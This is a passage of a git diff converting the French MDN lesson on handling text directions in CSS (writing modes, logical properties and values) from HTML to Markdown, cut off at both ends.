CSS](/fr/Apprendre/CSS/Introduction_à_CSS/Le_fonctionnement_de_CSS) +- [Syntaxe CSS](/fr/Apprendre/CSS/Introduction_à_CSS/La_syntaxe) +- [Sélecteurs](/fr/Apprendre/CSS/Introduction_à_CSS/Les_sélecteurs) +- [Sélecteurs simples](/fr/docs/Learn/CSS/Introduction_to_CSS/Selectors/Simple_selectors) +- [Sélecteurs d'attribut](/fr/docs/Learn/CSS/Introduction_to_CSS/Selectors/Attribute_selectors) +- [Pseudo-classes et pseudo-éléments](/fr/docs/Learn/CSS/Introduction_to_CSS/Selectors/Pseudo-classes_and_pseudo-elements) +- [Combinaisons et sélecteurs multiples](/fr/docs/Learn/CSS/Introduction_to_CSS/Selectors/Combinators_and_multiple_selectors) +- [Unités et valeurs pour les CSS](/fr/Apprendre/CSS/Introduction_à_CSS/Values_and_units) +- [Cascade et héritage](/fr/Apprendre/CSS/Introduction_à_CSS/La_cascade_et_l_héritage) +- [Le modèle de boîte](/fr/Apprendre/CSS/Introduction_à_CSS/Le_modèle_de_boîte) +- [Débogage des CSS](/fr/docs/Learn/CSS/Introduction_to_CSS/Debugging_CSS) +- [Compréhension des fondements des CSS](/fr/docs/Learn/CSS/Introduction_to_CSS/Fundamental_CSS_comprehension) diff --git a/files/fr/learn/css/building_blocks/handling_different_text_directions/index.md b/files/fr/learn/css/building_blocks/handling_different_text_directions/index.md index 6d01ee3f41..3be45a5e6a 100644 --- a/files/fr/learn/css/building_blocks/handling_different_text_directions/index.md +++ b/files/fr/learn/css/building_blocks/handling_different_text_directions/index.md @@ -4,155 +4,161 @@ slug: Learn/CSS/Building_blocks/Handling_different_text_directions translation_of: Learn/CSS/Building_blocks/Handling_different_text_directions original_slug: Apprendre/CSS/Building_blocks/Handling_different_text_directions --- -<div>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Backgrounds_and_borders", "Learn/CSS/Building_blocks/Overflowing_content", "Learn/CSS/Building_blocks")}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Backgrounds_and_borders", "Learn/CSS/Building_blocks/Overflowing_content", "Learn/CSS/Building_blocks")}} -<p>Beaucoup des propriétés et des valeurs que nous avons rencontrées jusqu'ici dans notre apprentissage du CSS ont été associées aux dimensions physiques de notre écran. Nous créons des bordures en haut, à droite, en bas et à gauche d'une box, par exemple. Ces dimensions physiques s'accordent très bien au contenu qui est visionné horizontalement, et par défaut le web a tendance à mieux supporter les langues qui se lisent de gauche à droite (par exemple l'anglais ou le français) que celles qui se lisent de droite à gauche (comme l'arabe).</p> +Beaucoup des propriétés et des valeurs que nous avons rencontrées jusqu'ici dans notre apprentissage du CSS ont été associées aux dimensions physiques de notre écran. Nous créons des bordures en haut, à droite, en bas et à gauche d'une box, par exemple. Ces dimensions physiques s'accordent très bien au contenu qui est visionné horizontalement, et par défaut le web a tendance à mieux supporter les langues qui se lisent de gauche à droite (par exemple l'anglais ou le français) que celles qui se lisent de droite à gauche (comme l'arabe). -<p>Ces dernières années cependant, le CSS a évolué pour supporter du contenu orienté dans différentes directions, comme la droite vers la gauche, mais également le haut vers le bas (comme le japonais) — Ces différentes directions sont appelées <strong>modes d'écriture</strong> (<i lang="en">writing modes</i> en anglais). En progressant dans votre apprentissage et en travaillant sur l'agencement, une compréhension des modes d'écriture vous sera très utile, donc nous allons vous les présenter maintenant.</p> +Ces dernières années cependant, le CSS a évolué pour supporter du contenu orienté dans différentes directions, comme la droite vers la gauche, mais également le haut vers le bas (comme le japonais) — Ces différentes directions sont appelées **modes d'écriture** (<i lang="en">writing modes</i> en anglais). En progressant dans votre apprentissage et en travaillant sur l'agencement, une compréhension des modes d'écriture vous sera très utile, donc nous allons vous les présenter maintenant. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Notions informatiques de base, <a href="/fr/docs/Learn/Getting_started_with_the_web/Installing_basic_software">avoir installé les logiciels de base</a>, notions élémentaires sur <a href="/fr/docs/Learn/Getting_started_with_the_web/Dealing_with_files">la manipulation des fichiers</a>, notions élémentaires sur HTML (voir <a href="/fr/docs/Learn/HTML/Introduction_to_HTML">l'introduction à HTML</a>), et une idée du fonctionnement de CSS (voir <a href="/fr/docs/Learn/CSS/First_steps">les premiers pas en CSS</a>.)</td> - </tr> - <tr> - <th scope="row">Objectif :</th> - <td>Comprendre l'importance des modes d'écriture pour le CSS moderne.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Notions informatiques de base, + <a + href="/fr/docs/Learn/Getting_started_with_the_web/Installing_basic_software" + >avoir installé les logiciels de base</a + >, notions élémentaires sur + <a href="/fr/docs/Learn/Getting_started_with_the_web/Dealing_with_files" + >la manipulation des fichiers</a + >, notions élémentaires sur HTML (voir + <a href="/fr/docs/Learn/HTML/Introduction_to_HTML" + >l'introduction à HTML</a + >), et une idée du fonctionnement de CSS (voir + <a href="/fr/docs/Learn/CSS/First_steps">les premiers pas en CSS</a>.) + </td> + </tr> + <tr> + <th scope="row">Objectif :</th> + <td>Comprendre l'importance des modes d'écriture pour le CSS moderne.</td> + </tr> + </tbody> </table> -<h2 id="Que_sont_les_modes_décritures">Que sont les modes d'écritures?</h2> +## Que sont les modes d'écritures? -<p>Un mode d'écriture en CSS fait référence au sens d'écriture du texte : horizontal ou vertical. La propriété <a href="/fr/docs/Web/CSS/writing-mode"><code>writing-mode</code></a> nous permet de passer d'un mode d'écriture à un autre. Vous n'avez pas besoin de travailler dans une langue qui utilise un mode d'écriture vertical pour vouloir l'utiliser — vous pourriez aussi changer le mode d'écriture de certaines parties de votre agencement dans un but créatif.</p> +Un mode d'écriture en CSS fait référence au sens d'écriture du texte : horizontal ou vertical. La propriété [`writing-mode`](/fr/docs/Web/CSS/writing-mode) nous permet de passer d'un mode d'écriture à un autre. Vous n'avez pas besoin de travailler dans une langue qui utilise un mode d'écriture vertical pour vouloir l'utiliser — vous pourriez aussi changer le mode d'écriture de certaines parties de votre agencement dans un but créatif. -<p>Dans l'exemple ci-dessous nous avons un titre affiché qui utilise <code>writing-mode: vertical-rl</code>. Le texte est maintenant affiché verticalement. Les textes verticaux sont communs dans le design graphique, et peuvent être un moyen pour ajouter un look plus intéressant à votre design web.</p> +Dans l'exemple ci-dessous nous avons un titre affiché qui utilise `writing-mode: vertical-rl`. Le texte est maintenant affiché verticalement. Les textes verticaux sont communs dans le design graphique, et peuvent être un moyen pour ajouter un look plus intéressant à votre design web. -<p>{{EmbedGHLiveSample("css-examples/learn/writing-modes/simple-vertical.html", '100%', 800)}}</p> +{{EmbedGHLiveSample("css-examples/learn/writing-modes/simple-vertical.html", '100%', 800)}} -<p>Les trois valeurs possibles pour la propriété <code><a href="/fr/docs/Web/CSS/writing-mode">writing-mode</a></code> sont :</p> +Les trois valeurs possibles pour la propriété [`writing-mode`](/fr/docs/Web/CSS/writing-mode) sont : -<ul> - <li><code>horizontal-tb</code> : Direction de bloc allant du haut vers le bas, les phrases sont écrites horizontalement.</li> - <li><code>vertical-rl</code> : Direction de bloc allant de droite à gauche, les phrases sont écrites verticalement.</li> - <li><code>vertical-lr</code> : Direction de bloc allant de gauche à droite, les phrases sont écrites verticalement.</li> -</ul> +- `horizontal-tb` : Direction de bloc allant du haut vers le bas, les phrases sont écrites horizontalement. +- `vertical-rl` : Direction de bloc allant de droite à gauche, les phrases sont écrites verticalement. +- `vertical-lr` : Direction de bloc allant de gauche à droite, les phrases sont écrites verticalement. -<p>La propriété <code>writing-mode</code> définit d'abord la direction selon laquelle les éléments de bloc sont affichés sur la page : de haut en bas, de droite à gauche ou de gauche à droite. Elle indique ensuite la direction selon laquelle le texte est écrit au sein des phrases.</p> +La propriété `writing-mode` définit d'abord la direction selon laquelle les éléments de bloc sont affichés sur la page : de haut en bas, de droite à gauche ou de gauche à droite. Elle indique ensuite la direction selon laquelle le texte est écrit au sein des phrases. -<h2 id="writing_modes_and_block_and_inline_layout">Modes d'écriture et disposition en bloc ou en ligne</h2> +## Modes d'écriture et disposition en bloc ou en ligne -<p>Nous avons déjà abordé <a href="/fr/docs/Learn/CSS/Building_blocks/The_box_model#block_and_inline_boxes">la disposition en ligne et en bloc</a> et le fait que certains éléments s'affichent en bloc et d'autres en ligne. Dans les descriptions précédentes, on voit que le caractère « de bloc » ou « en ligne » est lié au mode d'écriture du document et pas à l'écran, physique. Les blocs sont uniquement affichés de haut en bas sur la page si on utilise un mode d'écriture qui organise le texte horizontalement, comme celui utilisé pour le français.</p> +Nous avons déjà abordé [la disposition en ligne et en bloc](/fr/docs/Learn/CSS/Building_blocks/The_box_model#block_and_inline_boxes) et le fait que certains éléments s'affichent en bloc et d'autres en ligne. Dans les descriptions précédentes, on voit que le caractère « de bloc » ou « en ligne » est lié au mode d'écriture du document et pas à l'écran, physique. Les blocs sont uniquement affichés de haut en bas sur la page si on utilise un mode d'écriture qui organise le texte horizontalement, comme celui utilisé pour le français. -<p>Prenons un exemple pour éclaircir tout ça. Ici, on a deux boîtes qui contiennent un titre et un paragraphe. La première boîte utilise <code>writing-mode: horizontal-tb</code>, c'est-à-dire un mode d'écriture où le texte est écrit horizontalement et où le contenu s'organise du haut de la page vers le bas. La deuxième boîte utilise <code>writing-mode: vertical-rl</code>, c'est-à-dire un mode d'écriture où le texte est écrit verticalement et où le contenu va de droite à gauche.</p> +Prenons un exemple pour éclaircir tout ça. Ici, on a deux boîtes qui contiennent un titre et un paragraphe. La première boîte utilise `writing-mode: horizontal-tb`, c'est-à-dire un mode d'écriture où le texte est écrit horizontalement et où le contenu s'organise du haut de la page vers le bas. La deuxième boîte utilise `writing-mode: vertical-rl`, c'est-à-dire un mode d'écriture où le texte est écrit verticalement et où le contenu va de droite à gauche. -<p>{{EmbedGHLiveSample("css-examples/learn/writing-modes/block-inline.html", '100%', 1200)}}</p> +{{EmbedGHLiveSample("css-examples/learn/writing-modes/block-inline.html", '100%', 1200)}} -<p>Lorsqu'on change de mode d'écriture, on change la direction utilisée pour l'axe de bloc et celle pour l'axe en ligne. Avec un mode d'écriture <code>horizontal-tb</code>, la direction de bloc va de haut en bas avec un mode d'écriture <code>vertical-rl</code>, la direction de bloc va de droite à gauche. Ainsi, la <strong>dimension de bloc</strong> correspond toujours à la direction selon laquelle les blocs sont affichés sur la page pour le mode d'écriture utilisé. La <strong>dimension en ligne</strong> correspond toujours à la direction selon laquelle les phrases sont écrites.</p> +Lorsqu'on change de mode d'écriture, on change la direction utilisée pour l'axe de bloc et celle pour l'axe en ligne. Avec un mode d'écriture `horizontal-tb`, la direction de bloc va de haut en bas avec un mode d'écriture `vertical-rl`, la direction de bloc va de droite à gauche. Ainsi, la **dimension de bloc** correspond toujours à la direction selon laquelle les blocs sont affichés sur la page pour le mode d'écriture utilisé. La **dimension en ligne** correspond toujours à la direction selon laquelle les phrases sont écrites. -<p>Ce schéma illustre les deux dimensions pour un mode d'écriture horizontal.</p> +Ce schéma illustre les deux dimensions pour un mode d'écriture horizontal. -<p><img alt="Illustration de l'axe de bloc et de l'axe en ligne pour un mode d'écriture horizontal." src="horizontal-tb.png"></p> + -<p>Ce schéma illustre les deux dimensions pour un mode d'écriture vertical.</p> +Ce schéma illustre les deux dimensions pour un mode d'écriture vertical. -<p><img alt="Illustration de l'axe de bloc et de l'axe en ligne pour un mode d'écriture vertical." src="vertical.png"></p> + -<p>Lorsqu'on commence à travailler sur des dispositions CSS, notamment avec les méthodes de disposition récentes, les notions de bloc et d'en ligne se révèlent cruciales. Nous y reviendrons par la suite.</p> +Lorsqu'on commence à travailler sur des dispositions CSS, notamment avec les méthodes de disposition récentes, les notions de bloc et d'en ligne se révèlent cruciales. Nous y reviendrons par la suite. -<h3 id="Direction">Direction</h3> +### Direction -<p>En plus des modes d'écriture, il existe également la direction du texte. Comme mentionné avant, certaines langues comme l'arabe sont écrites horizontalement mais de droite à gauche. Il ne s'agit probablement pas là d'un aspect qui sera utilisé à des fins artistiques (si on souhaite aligner quelque chose à droite, il existe d'autres façons de faire) mais il est important de comprendre que cela fait partie de la nature de CSS. Le Web ne concerne pas uniquement les langues écrites de gauches à droite !</p> +En plus des modes d'écriture, il existe également la direction du texte. Comme mentionné avant, certaines langues comme l'arabe sont écrites horizontalement mais de droite à gauche. Il ne s'agit probablement pas là d'un aspect qui sera utilisé à des fins artistiques (si on souhaite aligner quelque chose à droite, il existe d'autres façons de faire) mais il est important de comprendre que cela fait partie de la nature de CSS. Le Web ne concerne pas uniquement les langues écrites de gauches à droite ! -<p>Étant donné que les modes d'écritures et les directions du texte peuvent varier, les nouvelles méthodes de disposition CSS ne font pas référence à la gauche, la droite, le haut ou le bas. À la place, elles utilisent les notions de <em>début</em> et de <em>fin</em>, combinées aux notions bloc et en ligne. Ne vous souciez pas trop de ça pour le moment, mais gardez ces idées en tête lorsque vous verrez ces notions pour les méthodes de disposition, cela vous sera utile pour une bonne compréhension de CSS.</p> +Étant donné que les modes d'écritures et les directions du texte peuvent varier, les nouvelles méthodes de disposition CSS ne font pas référence à la gauche, la droite, le haut ou le bas. À la place, elles utilisent les notions de _début_ et de _fin_, combinées aux notions bloc et en ligne. Ne vous souciez pas trop de ça pour le moment, mais gardez ces idées en tête lorsque vous verrez ces notions pour les méthodes de disposition, cela vous sera utile pour une bonne compréhension de CSS. -<h2 id="logical_properties_and_values">Propriétés et valeurs logiques</h2> +## Propriétés et valeurs logiques -<p>Nous abordons maintenant les modes d'écriture et la direction du texte maintenant, car les propriétés que nous avons vues jusqu'à présent étaient plutôt liées aux dimensions physiques de l'écran et à un mode d'écriture horizontal.</p> +Nous abordons maintenant les modes d'écriture et la direction du texte maintenant, car les propriétés que nous avons vues jusqu'à présent étaient plutôt liées aux dimensions physiques de l'écran et à un mode d'écriture horizontal. -<p>Reprenons nos deux boîtes : celle avec le mode d'écriture <code>horizontal-tb</code> et celle avec le mode d'écriture <code>vertical-rl</code>. Pour ces deux boîtes, on a défini <a href="/fr/docs/Web/CSS/width"><code>width</code></a>. Pour la boîte avec le mode d'écriture vertical, cela provoque un dépassement du texte.</p> +Reprenons nos deux boîtes : celle avec le mode d'écriture `horizontal-tb` et celle avec le mode d'écriture `vertical-rl`. Pour ces deux boîtes, on a défini [`width`](/fr/docs/Web/CSS/width). Pour la boîte avec le mode d'écriture vertical, cela provoque un dépassement du texte. -<p>{{EmbedGHLiveSample("css-examples/learn/writing-modes/width.html", '100%', 1200)}}</p> +{{EmbedGHLiveSample("css-examples/learn/writing-modes/width.html", '100%', 1200)}} -<p>Ce qu'on veut plus probablement dans ce scénario, c'est de passer de la largeur à la hauteur selon le mode d'écriture : quand on utilise un mode d'écriture vertical, on souhaite que la boîte soit redimensionnée selon l'axe de bloc, comme pour le mode horizontal.</p> +Ce qu'on veut plus probablement dans ce scénario, c'est de passer de la largeur à la hauteur selon le mode d'écriture : quand on utilise un mode d'écriture vertical, on souhaite que la boîte soit redimensionnée selon l'axe de bloc, comme pour le mode horizontal. -<p>Pour faciliter cela, CSS est désormais doté d'un ensemble de propriétés correspondantes. Dans l'ensemble, ces propriétés remplacent les propriétés physiques comme <code>width</code> ou <code>height</code> par des versions <strong>logiques</strong> ou <strong>relatives au flux</strong>.</p> +Pour faciliter cela, CSS est désormais doté d'un ensemble de propriétés correspondantes. Dans l'ensemble, ces propriétés remplacent les propriétés physiques comme `width` ou `height` par des versions **logiques** ou **relatives au flux**. -<p>La propriété logique qui correspond à <code>width</code> lorsqu'on utilise un mode d'écriture horizontal est appelée <a href="/fr/docs/Web/CSS/inline-size"><code>inline-size</code></a> : elle fait référence à la dimension selon l'axe en ligne. La propriété correspondant à <code>height</code> est quant à elle intitulée <a href="/fr/docs/Web/CSS/block-size"><code>block-size</code></a> et représente la taille selon la dimension de bloc. Vous pouvez observer leur fonctionnement dans l'exemple qui suit où nous avons remplacé <code>width</code> par <code>inline-size</code>.</p> +La propriété logique qui correspond à `width` lorsqu'on utilise un mode d'écriture horizontal est appelée [`inline-size`](/fr/docs/Web/CSS/inline-size) : elle fait référence à la dimension selon l'axe en ligne. La propriété correspondant à `height` est quant à elle intitulée [`block-size`](/fr/docs/Web/CSS/block-size) et représente la taille selon la dimension de bloc. Vous pouvez observer leur fonctionnement dans l'exemple qui suit où nous avons remplacé `width` par `inline-size`. -<p>{{EmbedGHLiveSample("css-examples/learn/writing-modes/inline-size.html", '100%', 950)}}</p> +{{EmbedGHLiveSample("css-examples/learn/writing-modes/inline-size.html", '100%', 950)}} -<h3 id="logical_margin_border_and_padding_properties">Propriétés logiques pour les marges, bordures et remplissages</h3> +### Propriétés logiques pour les marges, bordures et remplissages -<p>Dans les deux précédentes leçons, nous avons abordé le modèle de boîte CSS et les bordures. Pour les propriétés qui régissent les marges, bordures et le remplissage, vous verrez de nombreuses propriétés physiques comme <a href="/fr/docs/Web/CSS/margin-top"><code>margin-top</code></a>, <a href="/fr/docs/Web/CSS/padding-left"><code>padding-left</code></a>, et <a href="/fr/docs/Web/CSS/border-bottom"><code>border-bottom</code></a>. À l'instar de la hauteur et de la largeur, ces propriétés disposent de propriétés logiques équivalentes.</p> +Dans les deux précédentes leçons, nous avons abordé le modèle de boîte CSS et les bordures. Pour les propriétés qui régissent les marges, bordures et le remplissage, vous verrez de nombreuses propriétés physiques comme [`margin-top`](/fr/docs/Web/CSS/margin-top), [`padding-left`](/fr/docs/Web/CSS/padding-left), et [`border-bottom`](/fr/docs/Web/CSS/border-bottom). À l'instar de la hauteur et de la largeur, ces propriétés disposent de propriétés logiques équivalentes. -<p>La propriété physique <code>margin-top</code> correspond à la propriété logique <a href="/fr/docs/Web/CSS/margin-block-start"><code>margin-block-start</code></a> pour un mode d'écriture horizontal. Cette propriété logique fera toujours référence à la marge située au début de la dimension de bloc.</p> +La propriété physique `margin-top` correspond à la propriété logique [`margin-block-start`](/fr/docs/Web/CSS/margin-block-start) pour un mode d'écriture horizontal. Cette propriété logique fera toujours référence à la marge située au début de la dimension de bloc. -<p>La propriété physique <a href="/fr/docs/Web/CSS/padding-left"><code>padding-left</code></a> trouve son équivalent avec <a href="/fr/docs/Web/CSS/padding-inline-start"><code>padding-inline-start</code></a>, le remplissage (<i lang="en">padding</i>) appliqué au début de la direction en ligne. Cela correspond à l'endroit où les phrases commencent pour le mode d'écriture courant. La propriété <a href="/fr/docs/Web/CSS/border-bottom"><code>border-bottom</code></a> a quant à elle l'équivalent <a href="/fr/docs/Web/CSS/border-block-end"><code>border-block-end</code></a> qui représente la bordure sur à la fin de la dimension de bloc.</p> +La propriété physique [`padding-left`](/fr/docs/Web/CSS/padding-left) trouve son équivalent avec [`padding-inline-start`](/fr/docs/Web/CSS/padding-inline-start), le remplissage (<i lang="en">padding</i>) appliqué au début de la direction en ligne. Cela correspond à l'endroit où les phrases commencent pour le mode d'écriture courant. La propriété [`border-bottom`](/fr/docs/Web/CSS/border-bottom) a quant à elle l'équivalent [`border-block-end`](/fr/docs/Web/CSS/border-block-end) qui représente la bordure sur à la fin de la dimension de bloc. -<p>Vous pouvez voir une comparaison entre les propriétés physiques et logiques ci-après.</p> +Vous pouvez voir une comparaison entre les propriétés physiques et logiques ci-après. -<p><strong>Si vous changez le mode d'écriture des boîtes en modifiant la valeur de <code>writing-mode</code> sur le sélecteur <code>.box</code> afin de la passer à <code>vertical-rl</code>, vous pourrez voir que les propriétés physiques restent liées aux directions physiques tandis que les propriétés logiques s'adaptent en fonction du mode d'écriture.</strong></p> +**Si vous changez le mode d'écriture des boîtes en modifiant la valeur de `writing-mode` sur le sélecteur `.box` afin de la passer à `vertical-rl`, vous pourrez voir que les propriétés physiques restent liées aux directions physiques tandis que les propriétés logiques s'adaptent en fonction du mode d'écriture.** -<p><strong>Vous pouvez également voir que <a href="/fr/docs/Web/HTML/Element/Heading_Elements"><code><h2></code></a> a une bordure avec <code>border-bottom</code>. Pouvez-vous adapter le code afin que la bordure sous le texte suive cette direction, quel que soit le mode d'écriture ?</strong></p> +**Vous pouvez également voir que [`<h2>`](/fr/docs/Web/HTML/Element/Heading_Elements) a une bordure avec `border-bottom`. Pouvez-vous adapter le code afin que la bordure sous le texte suive cette direction, quel que soit le mode d'écriture ?** -<p>{{EmbedGHLiveSample("css-examples/learn/writing-modes/logical-mbp.html", '100%', 1200)}}</p> +{{EmbedGHLiveSample("css-examples/learn/writing-modes/logical-mbp.html", '100%', 1200)}} -<p>Il existe de nombreuses propriétés détaillées pour gérer les différents aspects des bordures, vous pouvez voir l'ensemble des correspondances sur la page MDN des <a href="/fr/docs/Web/CSS/CSS_Logical_Properties">propriétés et valeurs logiques</a>.</p> +Il existe de nombreuses propriétés détaillées pour gérer les différents aspects des bordures, vous pouvez voir l'ensemble des correspondances sur la page MDN des [propriétés et valeurs logiques](/fr/docs/Web/CSS/CSS_Logical_Properties). -<h3 id="logical_values">Valeurs logiques</h3> +### Valeurs logiques -<p>Jusqu'à présent, nous avons étudié les noms des propriétés logiques. Il existe également des propriétés dont les valeurs sont caractérisées physiquement comme <code>top</code>, <code>right</code>, <code>bottom</code>, et <code>left</code>. Ces valeurs disposent également d'équivalences logiques : <code>block-start</code>, <code>inline-end</code>, <code>block-end</code>, et <code>inline-start</code>.</p> +Jusqu'à présent, nous avons étudié les noms des propriétés logiques. Il existe également des propriétés dont les valeurs sont caractérisées physiquement comme `top`, `right`, `bottom`, et `left`. Ces valeurs disposent également d'équivalences logiques : `block-start`, `inline-end`, `block-end`, et `inline-start`. -<p>Ainsi, on peut faire flotter une image à gauche pour que le texte soit écrit autour de l'image. Dans l'exemple qui suit, vous pouvez remplacer <code>left</code> avec <code>inline-start</code>.</p> +Ainsi, on peut faire flotter une image à gauche pour que le texte soit écrit autour de l'image. Dans l'exemple qui suit, vous pouvez remplacer `left` avec `inline-start`. -<p><strong>Modifiez le mode d'écriture de cet exemple afin de le passer à <code>vertical-rl</code> pour voir ce qui se produit sur l'image. Modifiez <code>inline-start</code> à <code>inline-end</code> pour changer l'emplacement du flottement.</strong></p> +**Modifiez le mode d'écriture de cet exemple afin de le passer à `vertical-rl` pour voir ce qui se produit sur l'image. Modifiez `inline-start` à `inline-end` pour changer l'emplacement du flottement.** -<p>{{EmbedGHLiveSample("css-examples/learn/writing-modes/float.html", '100%', 850)}}</p> +{{EmbedGHLiveSample("css-examples/learn/writing-modes/float.html", '100%', 850)}} -<p>Ici, on utilise aussi les valeurs logiques pour les marges afin de s'assurer que les marges sont correctement positionnées, quel que soit le mode d'écriture.</p> +Ici, on utilise aussi les valeurs logiques pour les marges afin de s'assurer que les marges sont correctement positionnées, quel que soit le mode d'écriture. -<div class="notecard note"> - <p><strong>Note :</strong> Actuellement, seul Firefox prend en charge les valeurs relatives de flux pour <code>float</code>. Si vous utilisez <strong>Google Chrome</strong> ou <strong>Microsoft Edge</strong>, vous obtiendrez vraisemblablement un résultat où l'image ne flotte pas.</p> -</div> +> **Note :** Actuellement, seul Firefox prend en charge les valeurs relatives de flux pour `float`. Si vous utilisez **Google Chrome** ou **Microsoft Edge**, vous obtiendrez vraisemblablement un résultat où l'image ne flotte pas. -<h3 id="should_you_use_physical_or_logical_properties">Faut-il utiliser les propriétés physiques ou logiques ?</h3> +### Faut-il utiliser les propriétés physiques ou logiques ? -<p>Les propriétés logiques et les valeurs correspondantes sont plus récentes que leurs équivalents physiques et l'implémentation de ces premières est donc également plus récente. Vous pouvez consulter la page de chaque propriété sur MDN pour vérifier le tableau de compatibilité des navigateurs. Si vous n'utilisez pas plusieurs modes d'écriture, vous pourrez préférer les versions physiques. Toutefois, on s'attend à terme que les personnes utilisent les versions logiques dans la majorité des cas étant donné leur pertinence pour certaines méthodes de dispositions comme les grilles CSS ou <i lang="en">flexbox</i>.</p> +Les propriétés logiques et les valeurs correspondantes sont plus récentes que leurs équivalents physiques et l'implémentation de ces premières est donc également plus récente. Vous pouvez consulter la page de chaque propriété sur MDN pour vérifier le tableau de compatibilité des navigateurs. Si vous n'utilisez pas plusieurs modes d'écriture, vous pourrez préférer les versions physiques. Toutefois, on s'attend à terme que les personnes utilisent les versions logiques dans la majorité des cas étant donné leur pertinence pour certaines méthodes de dispositions comme les grilles CSS ou <i lang="en">flexbox</i>. -<h2 id="test_your_skills!">Testez vos compétences !</h2> +## Testez vos compétences ! -<p>Nous avons abordé de nombreux concepts dans cet article, mais avez-vous retenu les informations fondamentales ? Vous pourrez trouver différents tests sur le sujet pour vérifier que vous avez assimilé les bonnes informations : voir <a href="/fr/docs/Learn/CSS/Building_blocks/Writing_Modes_Tasks">Testez vos compétences : les modes d'écriture</a>.</p> +Nous avons abordé de nombreux concepts dans cet article, mais avez-vous retenu les informations fondamentales ? Vous pourrez trouver différents tests sur le sujet pour vérifier que vous avez assimilé les bonnes informations : voir [Testez vos compétences : les modes d'écriture](/fr/docs/Learn/CSS/Building_blocks/Writing_Modes_Tasks). -<h2 id="summary">Résumé</h2> +## Résumé -<p>Les concepts expliqués ici revêtent une importance croissante en CSS. Comprendre les directions en ligne et de bloc, ainsi que la façon dont le flux de texte change selon le mode d'écriture vous sera désormais très utile. Vous aurez une meilleure compréhension de CSS, même si vous n'utilisez qu'un seul mode d'écriture horizontal.</p> +Les concepts expliqués ici revêtent une importance croissante en CSS. Comprendre les directions en ligne et de bloc, ainsi que la façon dont le flux de texte change selon le mode d'écriture vous sera désormais très utile. Vous aurez une meilleure compréhension de CSS, même si vous n'utilisez qu'un seul mode d'écriture horizontal. -<p>Dans le prochain module, nous verrons comment les dépassements sont gérés en CSS.</p> +Dans le prochain module, nous verrons comment les dépassements sont gérés en CSS. -<p>{{PreviousMenuNext("Learn/CSS/Building_blocks/Backgrounds_and_borders", "Learn/CSS/Building_blocks/Overflowing_content", "Learn/CSS/Building_blocks")}}</p> +{{PreviousMenuNext("Learn/CSS/Building_blocks/Backgrounds_and_borders", "Learn/CSS/Building_blocks/Overflowing_content", "Learn/CSS/Building_blocks")}} -<h2 id="in_this_module">Dans ce module</h2> +## Dans ce module -<ol> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">Cascade et héritage</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Selectors">Sélecteurs CSS</a> - <ul> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">Sélecteurs de type, de classe et d'ID</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">Sélecteurs d'attributs</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">Pseudo-classes et pseudo-éléments</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Selectors/Combinators">Combinateurs</a></li> - </ul> - </li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/The_box_model">Le modèle de boîte</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">Arrière-plans et bordures</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">Gestion de différentes directions de texte</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Overflowing_content">Débordements de contenu</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Values_and_units">Valeurs et unités CSS</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">Définir la taille des éléments en CSS</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Images_media_form_elements">Images, médias et éléments de formulaire</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Styling_tables">Mise en page de tableaux</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Debugging_CSS">Débogage de CSS</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Organizing">Organiser votre CSS</a></li> -</ol> +1. [Cascade et héritage](/fr/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance) +2. [Sélecteurs CSS](/fr/docs/Learn/CSS/Building_blocks/Selectors) + + - [Sélecteurs de type, de classe et d'ID](/fr/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors) + - [Sélecteurs d'attributs](/fr/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors) + - [Pseudo-classes et pseudo-éléments](/fr/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements) + - [Combinateurs](/fr/docs/Learn/CSS/Building_blocks/Selectors/Combinators) + +3. [Le modèle de boîte](/fr/docs/Learn/CSS/Building_blocks/The_box_model) +4. [Arrière-plans et bordures](/fr/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders) +5. [Gestion de différentes directions de texte](/fr/docs/Learn/CSS/Building_blocks/Handling_different_text_directions) +6. [Débordements de contenu](/fr/docs/Learn/CSS/Building_blocks/Overflowing_content) +7. [Valeurs et unités CSS](/fr/docs/Learn/CSS/Building_blocks/Values_and_units) +8. [Définir la taille des éléments en CSS](/fr/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS) +9. [Images, médias et éléments de formulaire](/fr/docs/Learn/CSS/Building_blocks/Images_media_form_elements) +10. [Mise en page de tableaux](/fr/docs/Learn/CSS/Building_blocks/Styling_tables) +11. [Débogage de CSS](/fr/docs/Learn/CSS/Building_blocks/Debugging_CSS) +12. [Organiser votre CSS](/fr/docs/Learn/CSS/Building_blocks/Organizing) diff --git a/files/fr/learn/css/building_blocks/index.md b/files/fr/learn/css/building_blocks/index.md index 996ef6e24f..d90d79ae16 100644 --- a/files/fr/learn/css/building_blocks/index.md +++ b/files/fr/learn/css/building_blocks/index.md @@ -8,72 +8,62 @@ tags: translation_of: Learn/CSS/Building_blocks original_slug: Apprendre/CSS/Building_blocks --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}} -<p>Ce 